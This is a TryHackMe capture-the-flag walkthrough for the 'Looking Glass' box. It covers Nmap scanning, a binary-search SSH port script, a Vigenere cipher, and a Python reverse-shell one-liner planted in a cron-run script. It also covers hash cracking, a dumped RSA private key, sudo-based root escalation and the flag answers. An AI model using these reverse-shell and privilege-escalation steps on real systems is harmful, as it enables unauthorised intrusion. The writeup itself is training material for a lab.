TryHackMe Capture The Flag (CTF) Walkthrough – Lookingglass

5/5 - (2 votes)
[TryHackMe] Capture The Flag (CTF) Walkthrough – Lookingglass

In this article, I’ll guide you through the TryHackMe CTF (capture the flag 🚩) challenge Looking Glass. There will be spoilers in this write-up and walkthrough video, so stop reading now and click here if you want to try this free hacking challenge first without any hints.

This is part of the hacking security series on multiple TryHackMe challenges:

Let’s get started with today’s third tutorial! 👇

Preparation

First, we export the target and local IP addresses as bash variables:

export myIP=10.6.2.23
export targetIP=10.10.45.160

Enumeration 

We start with an Nmap scan:

sudo nmap $targetIP -sC -T4 -Pn

The -Pn flag skips host discovery.

Here’s the output:

Starting Nmap 7.60 ( https://nmap.org ) at 2022-11-07 13:42 GMT
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for ip-10-10-45-160.eu-west-1.compute.internal (10.10.45.160)
Host is up (0.012s latency).
Not shown: 916 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
| ssh-hostkey:
|   2048 3f:15:19:70:35:fd:dd:0d:07:a0:50:a3:7d:fa:10:a0 (RSA)
|   256 a8:67:5c:52:77:02:41:d7:90:e7:ed:32:d2:01:d9:65 (ECDSA)
|_  256 26:92:59:2d:5e:25:90:89:09:f5:e5:e0:33:81:77:6a (EdDSA)
9000/tcp  open  cslistener
9001/tcp  open  tor-orport
9002/tcp  open  dynamid
9003/tcp  open  unknown
9009/tcp  open  pichat
9010/tcp  open  sdr
9011/tcp  open  unknown
9040/tcp  open  tor-trans
9050/tcp  open  tor-socks
9071/tcp  open  unknown
9080/tcp  open  glrpc
9081/tcp  open  unknown
9090/tcp  open  zeus-admin
9091/tcp  open  xmltec-xmlmail
9099/tcp  open  unknown
9100/tcp  open  jetdirect
9101/tcp  open  jetdirect
9102/tcp  open  jetdirect
9103/tcp  open  jetdirect
9110/tcp  open  unknown
9111/tcp  open  DragonIDSConsole
9200/tcp  open  wap-wsp
9207/tcp  open  wap-vcal-s
9220/tcp  open  unknown
9290/tcp  open  unknown
9415/tcp  open  unknown
9418/tcp  open  git
9485/tcp  open  unknown
9500/tcp  open  ismserver
9502/tcp  open  unknown
9503/tcp  open  unknown
9535/tcp  open  man
9575/tcp  open  unknown
9593/tcp  open  cba8
9594/tcp  open  msgsys
9595/tcp  open  pds
9618/tcp  open  condor
9666/tcp  open  zoomcp
9876/tcp  open  sd
9877/tcp  open  unknown
9878/tcp  open  kca-service
9898/tcp  open  monkeycom
9900/tcp  open  iua
9917/tcp  open  unknown
9929/tcp  open  nping-echo
9943/tcp  open  unknown
9944/tcp  open  unknown
9968/tcp  open  unknown
9998/tcp  open  distinct32
9999/tcp  open  abyss
10000/tcp open  snet-sensor-mgmt
10001/tcp open  scp-config
10002/tcp open  documentum
10003/tcp open  documentum_s
10004/tcp open  emcrmirccd
10009/tcp open  swdtp-sv
10010/tcp open  rxapi
10012/tcp open  unknown
10024/tcp open  unknown
10025/tcp open  unknown
10082/tcp open  amandaidx
10180/tcp open  unknown
10215/tcp open  unknown
10243/tcp open  unknown
10566/tcp open  unknown
10616/tcp open  unknown
10617/tcp open  unknown
10621/tcp open  unknown
10626/tcp open  unknown
10628/tcp open  unknown
10629/tcp open  unknown
10778/tcp open  unknown
11110/tcp open  sgi-soap
11111/tcp open  vce
11967/tcp open  sysinfo-sp
12000/tcp open  cce4x
12174/tcp open  unknown
12265/tcp open  unknown
12345/tcp open  netbus
13456/tcp open  unknown
13722/tcp open  netbackup
13782/tcp open  netbackup
13783/tcp open  netbackup
MAC Address: 02:B9:B9:9B:D5:A7 (Unknown)

Let’s try to ssh into the highest port as root@<targetIP>:

sudo ssh root@$targetIP -p 13783

It returns an error:

Unable to negotiate with 10.10.142.110 port 13783: no matching host key type found. Their offer: ssh-rsa

Let’s add the -oHostKeyAlgorithms=+ssh-rsa to the command to add this kind of host key.

sudo ssh root@$targetIP -p 11376 -oHostKeyAlgorithms=+ssh-rsa

Nmap showed lots of open ports.

If we try connecting to the highest port we get back the message: Higher.

However, there is no higher port, so we can deduce here that in this box, the ssh output is actually the opposite of the words higher or lower. Remember, we are in the “Looking Glass” which is a mirror, and mirror images are a reversal of reality. 

We could keep narrowing it down to the target port by going for the port that is midway between the other ports that have not yet been eliminated.

In practice, this can take quite a while.

Another user, Loren, wrote a simple bash script to automate the port searching process. I translated the functionality of his script into python3 code (see Appendix) and ran it to reveal the following poem Jabberwocky in encrypted text:

Jabberwocky
'Mdes mgplmmz, cvs alv lsmtsn aowil
Fqs ncix hrd rxtbmi bp bwl arul;
Elw bpmtc pgzt alv uvvordcet,
Egf bwl qffl vaewz ovxztiql.

'Fvphve ewl Jbfugzlvgb, ff woy!
Ioe kepu bwhx sbai, tst jlbal vppa grmjl!
Bplhrf xag Rjinlu imro, pud tlnp
Bwl jintmofh Iaohxtachxta!'

Oi tzdr hjw oqzehp jpvvd tc oaoh:
Eqvv amdx ale xpuxpqx hwt oi jhbkhe--
Hv rfwmgl wl fp moi Tfbaun xkgm,
Puh jmvsd lloimi bp bwvyxaa.

Eno pz io yyhqho xyhbkhe wl sushf,
Bwl Nruiirhdjk, xmmj mnlw fy mpaxt,
Jani pjqumpzgn xhcdbgi xag bjskvr dsoo,
Pud cykdttk ej ba gaxt!

Vnf, xpq! Wcl, xnh! Hrd ewyovka cvs alihbkh
Ewl vpvict qseux dine huidoxt-achgb!
Al peqi pt eitf, ick azmo mtd wlae
Lx ymca krebqpsxug cevm.

'Ick lrla xhzj zlbmg vpt Qesulvwzrr?
Cpqx vw bf eifz, qy mthmjwa dwn!
V jitinofh kaz! Gtntdvl! Ttspaj!'
Wl ciskvttk me apw jzn.

'Awbw utqasmx, tuh tst zljxaa bdcij
Wph gjgl aoh zkuqsi zg ale hpie;
Bpe oqbzc nxyi tst iosszqdtz,
Eew ale xdte semja dbxxkhfe.
Jdbr tivtmi pw sxderpIoeKeudmgdstd

Since the title is in plaintext we can google it to find an original version of the poem by Lewis Caroll in English.

So now we have the original text, and the cipher text, and all we need to find is the key and encryption type.

After googling around and finding that the encryption was highly likely a vigenere cipher, I ended up using https://www.guballa.de/vigenere-solver to crack the key (thealphabetcipher). The secret is hidden in the last line of the cipher text (bewareTheJabberwock). 

Initial Foothold

If we enter the secret into the prompt on the target SSH port, the terminal will kick back a username:password pair.

This pair changes after each successful login, so the python or bash script will come in handy down the road again. We can now SSH into the jabberwock account using the password from the username:password pair.

We issue the command:

sudo ssh jabberwock@$targetIP

Privilege Escalation – User Jabberwock

Now that we are logged in as jabberwock we can start enumerating again to gather information about potential attack vectors going forward to privilege escalation. 

There we have it! A reversed string of our first flag. We can reverse that string back around using the Python 3 string slicing step of -1 (text[::-1]).

reverse_string = thm{65d3710e9d75d5f346d2bac669119a23}

Moving on to the privilege escalation we can start by checking for special sudoer permissions as user jabberwock:

sudo -l

So from jabberwock we have sudo permissions to reboot as root without a password.

Let’s check out the file twasBrillig.sh. It looks to be a Python script to randomly print lines from the poem string. At the top of the script is import random.

We might be able to hijack this module to have a shell spawned as another user. Another option would be to directly add a payload to twasBrillig.sh. We’ll go with the latter option because it is the simpler solution.

Looking at the file /etc/crontab with nano reveals a scheduled run of twasBrillig.sh after every reboot as user tweedledum.

Now we can see that by adding a payload to the beginning of the file, we can spawn a shell as tweedledum without knowing their password.

Over on revshells.com we can generate a Python 3 payload to spawn a reverse shell:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Saving this and rebooting should kick us a shell.

The last thing to do before rebooting is to set up a listener on the appropriate port. Netcat wasn’t working properly during the video demonstration so I switched to pwncat.

We set the listening port as 9001 in the reverse shell payload, so now we start up the listener with pwncat:

pwncat -l 9001

And command a reboot with sudo permissions as user jabberwock:

sudo /bin/reboot

After catching the reverse shell as user tweedledum with pwncat, we can use a few commands to upgrade our shell:

python3 -c 'import pty; pty.spawn("/bin/sh")'
Export TERM=xterm-256color

Further Enumeration – User Tweedledum


We discover a humptydumpty.txt:

dcfff5eb40423f055a4cd0a8d7ed39ff6cb9816868f5766b4088b9e9906961b9
7692c3ad3540bb803c020b3aee66cd8887123234ea0c6e7143c0add73ff431ed
28391d3bc64ec15cbb090426b04aa6b7649c3cc85f11230bb0105e02d15e3624
b808e156d18d1cecdcc1456375f8cae994c36549a07c8c2315b473dd9d7f404f
fa51fd49abf67705d6a35d18218c115ff5633aec1f9ebfdc9d5d4956416f57f6
b9776d7ddf459c9ad5b0e1d6ac61e27befb5e99fd62446677600d7cacef544d0
5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b

And a poem.txt:

     'Tweedledum and Tweedledee
      Agreed to have a battle;
      For Tweedledum said Tweedledee
      Had spoiled his nice new rattle.

      Just then flew down a monstrous crow,
      As black as a tar-barrel;
      Which frightened both the heroes so,
      They quite forgot their quarrel.'

I noticed that both the hash and the poem have 8 lines. My hunch is that one is a hash of the other, hiding a password/key.

Using a site like crackstation.net, we can detect the hashing algorithm and crack the hashes by having the site do the heavy lifting of cross-checking our hashes against a database of saved cracked hashes.

The site also shows us that the first seven lines are sha256-type hashes, but the last line is an unknown type.

On these CTF challenges, I’ve found that usually whatever looks suspicious or the exception to the rule is usually the thing to do further enumeration on.  

Let’s take the final line and try another hashing site for decryption- cyberchef.

Cyberchef finds the password is zyxwvutsrqponmlk by using hexadecimal decryption.

This may be a password for another user. Perhaps it is for humptydumpty, given the clue of the humptydumpty poem.txt.

We also try a sudo -l command to check for special permissions and see that we can spawn a shell as tweedledee without a password.

However, further enumeration reveals that there aren’t any leads from tweedledee’s account toward further privilege escalation.

Let’s switch users to humptydumpty using the password from the cracked hexadecimal hash:

su humptydumpty

Privilege Escalation to User Alice

We enumerate the home folder on humptydumpty’s account and find a few interesting things:

We have execute permissions on the alice directory!

To explore further what commands we might be able to run, let’s enumerate with: 

find / -name "*alice*" -type f 2> /dev/null

This turns up a sudoers.d file for alice. Let’s cat that out and see what commands she has special sudo permissions on:

cat /etc/sudoers.d/alice
alice ssalg-gnikool = (root) NOPASSWD: /bin/bash

Interesting! Alice can run a strange program to spawn a root shell without a password.

We should be able to do that after we are logged in as Alice by running:

sudo -h ssalg-gnikool /bin/bash

The -h flag is to switch a command to run as an alternate host.

Let’s check on a whim to see if there might be a hidden private ssh key hiding in Alice’s .ssh hidden folder. 

cat /alice/.ssh/id_rsa

And there is!

Here is the output:

-----BEGIN RSA PRIVATE KEY-----
MIIEpgIBAAKCAQEAxmPncAXisNjbU2xizft4aYPqmfXm1735FPlGf4j9ExZhlmmD
NIRchPaFUqJXQZi5ryQH6YxZP5IIJXENK+a4WoRDyPoyGK/63rXTn/IWWKQka9tQ
2xrdnyxdwbtiKP1L4bq/4vU3OUcA+aYHxqhyq39arpeceHVit+jVPriHiCA73k7g
HCgpkwWczNa5MMGo+1Cg4ifzffv4uhPkxBLLl3f4rBf84RmuKEEy6bYZ+/WOEgHl
fks5ngFniW7x2R3vyq7xyDrwiXEjfW4yYe+kLiGZyyk1ia7HGhNKpIRufPdJdT+r
NGrjYFLjhzeWYBmHx7JkhkEUFIVx6ZV1y+gihQIDAQABAoIBAQDAhIA5kCyMqtQj
X2F+O9J8qjvFzf+GSl7lAIVuC5Ryqlxm5tsg4nUZvlRgfRMpn7hJAjD/bWfKLb7j
/pHmkU1C4WkaJdjpZhSPfGjxpK4UtKx3Uetjw+1eomIVNu6pkivJ0DyXVJiTZ5jF
ql2PZTVpwPtRw+RebKMwjqwo4k77Q30r8Kxr4UfX2hLHtHT8tsjqBUWrb/jlMHQO
zmU73tuPVQSESgeUP2jOlv7q5toEYieoA+7ULpGDwDn8PxQjCF/2QUa2jFalixsK
WfEcmTnIQDyOFWCbmgOvik4Lzk/rDGn9VjcYFxOpuj3XH2l8QDQ+GO+5BBg38+aJ
cUINwh4BAoGBAPdctuVRoAkFpyEofZxQFqPqw3LZyviKena/HyWLxXWHxG6ji7aW
DmtVXjjQOwcjOLuDkT4QQvCJVrGbdBVGOFLoWZzLpYGJchxmlR+RHCb40pZjBgr5
8bjJlQcp6pplBRCF/OsG5ugpCiJsS6uA6CWWXe6WC7r7V94r5wzzJpWBAoGBAM1R
aCg1/2UxIOqxtAfQ+WDxqQQuq3szvrhep22McIUe83dh+hUibaPqR1nYy1sAAhgy
wJohLchlq4E1LhUmTZZquBwviU73fNRbID5pfn4LKL6/yiF/GWd+Zv+t9n9DDWKi
WgT9aG7N+TP/yimYniR2ePu/xKIjWX/uSs3rSLcFAoGBAOxvcFpM5Pz6rD8jZrzs
SFexY9P5nOpn4ppyICFRMhIfDYD7TeXeFDY/yOnhDyrJXcbOARwjivhDLdxhzFkx
X1DPyif292GTsMC4xL0BhLkziIY6bGI9efC4rXvFcvrUqDyc9ZzoYflykL9KaCGr
+zlCOtJ8FQZKjDhOGnDkUPMBAoGBAMrVaXiQH8bwSfyRobE3GaZUFw0yreYAsKGj
oPPwkhhxA0UlXdITOQ1+HQ79xagY0fjl6rBZpska59u1ldj/BhdbRpdRvuxsQr3n
aGs//N64V4BaKG3/CjHcBhUA30vKCicvDI9xaQJOKardP/Ln+xM6lzrdsHwdQAXK
e8wCbMuhAoGBAOKy5OnaHwB8PcFcX68srFLX4W20NN6cFp12cU2QJy2MLGoFYBpa
dLnK/rW4O0JxgqIV69MjDsfRn1gZNhTTAyNnRMH1U7kUfPUB2ZXCmnCGLhAGEbY9
k6ywCnCtTz2/sNEgNcx9/iZW+yVEm/4s9eonVimF+u19HJFOPJsAYxx0
-----END RSA PRIVATE KEY-----

We will use > to save this key data to a new file in humptydumpty’s /.ssh folder.

cat id_rsa > /home/humptydumpty/id_rsa_alice

And then, we’ll attempt to ssh into alice using the id_rsa_alice ssh keyfile.

ssh alice@$targetIP -i id_rsa_alice 

Output:

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.212.127' (ED25519) to the list of known hosts.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa_alice' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa_alice": bad permissions

This attempt failed, but it looks like we are close to getting in. It looks like we need more restrictive permissions on the key file. Currently, it has 0644 permissions.

Let’s try chmod 600 to give us full permissions and other users no permissions on /.ssh/id_rsa_alice.

Now that we have changed file permissions to be more restrictive, let’s try again to ssh in as user alice:

ssh alice@$targetIP -i id_rsa_alice

This time it worked.

Let’s run the command now to spawn a root shell from alice:

sudo -h ssalg-gnikool /bin/bash

The -h flag is to switch a command to run as an alternate host.

That works. We quickly find the root.txt flag in the /root folder. Its contents are a backward flag:

}f3dae6dec817ad10b750d79f6b7332cb{mht

We can easily reverse the direction using python3:

root="}f3dae6dec817ad10b750d79f6b7332cb{mht"
print(root[::-1])

 
The -1 is the reverse step of 1, which means reversed direction slicing every letter/number along the whole slice. 

thm{bc2337b6f97d057b01da718ced6ead3f}

Appendix

Here’s the script I used above:

#!/usr/bin/env python3
# These sites were used as references: https://stackabuse.com/executing-shell-commands-wi>
# https://stackoverflow.com/questions/4760215/running-shell-command-and-capturing-the->

#set up initial conditions for the target port search
import subprocess
low_port=9000
high_port=13790
targetIP = "10.10.252.52"
print(targetIP)
#initialize loop_key variable:
loop_key="higher"

while loop_key=="Higher" or "Lower":
    print('low = '  + str(low_port) + ', high = ' + str(high_port))
#a good place to use floor division to cut off the extra digit
    mid_port=(high_port+low_port)//2
    print('Trying port ' + str(mid_port))
    #attempt to connect to the mid port
    result = subprocess.run(['ssh', 'root@' + str(targetIP), '-oHostKeyAlgorithms=+ssh-rsa', '-p', str(mid_port)], stdout=subprocess.PIPE)
    # prep the decoded output variable
    msg = result.stdout
    decoded_msg = msg.decode('utf-8')
    # print result of attempted ssh connection
    print(decoded_msg)

    if "Higher" in decoded_msg:
        #print("yes I see the words Higher")
        high_port=mid_port
        print(high_port)
        loop_key="Higher"
    elif "Lower" in decoded_msg:
        low_port=mid_port
        print(low_port)
        loop_key="Lower"
    else:
        print("You found the secret port - " + str(mid_port))
        exit()